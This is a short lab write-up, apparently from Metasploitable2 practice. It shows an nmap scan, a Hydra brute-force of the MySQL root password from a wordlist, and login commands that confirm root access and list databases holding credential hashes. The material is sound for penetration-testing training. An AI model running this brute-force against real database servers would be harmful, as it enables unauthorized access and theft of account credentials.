MySQL Brute-Force
MySQL is a widely used relational database system, and its authentication layer is a common brute-force target when exposed to the network. This attack uses Hydra to test password combinations against the root account. Metasploit's mysql_login module was also attempted, but failed against this target — Metasploitable2 runs MySQL 5.0.51a, whose outdated authentication protocol the module cannot correctly parse. Hydra handles this legacy handshake correctly, making it the more reliable choice here.
Discovery
| Command | Description |
|---|---|
| nmap -A -p- -T5 [target IP] | Scans all ports with service versions and OS detection; MySQL (3306) is identified as open. |
Attack
| Command | Description |
|---|---|
| hydra -l root -P /usr/share/wordlists/mysql_password.txt mysql:// [target IP] | Brute-forces the MySQL root password using Hydra, testing each password in the wordlist until a valid one is found. |
Verification
| Command | Description |
|---|---|
| mysql -h [target IP] -u root -p'[found password]' --skip-ssl | Connects to the MySQL service using the credential found by Hydra. The --skip-ssl flag is required because the outdated server doesn't support the modern client's default SSL handshake. |
| SELECT current_user(); | Confirms the connection was authenticated as root@% — root access from any host. |
| SELECT version(); | Displays the server version, confirming the outdated MySQL 5.0.51a build. |
| SHOW DATABASES; | Lists accessible databases, including the mysql system database itself — exposing other accounts' credential hashes to a fully compromised administrator. |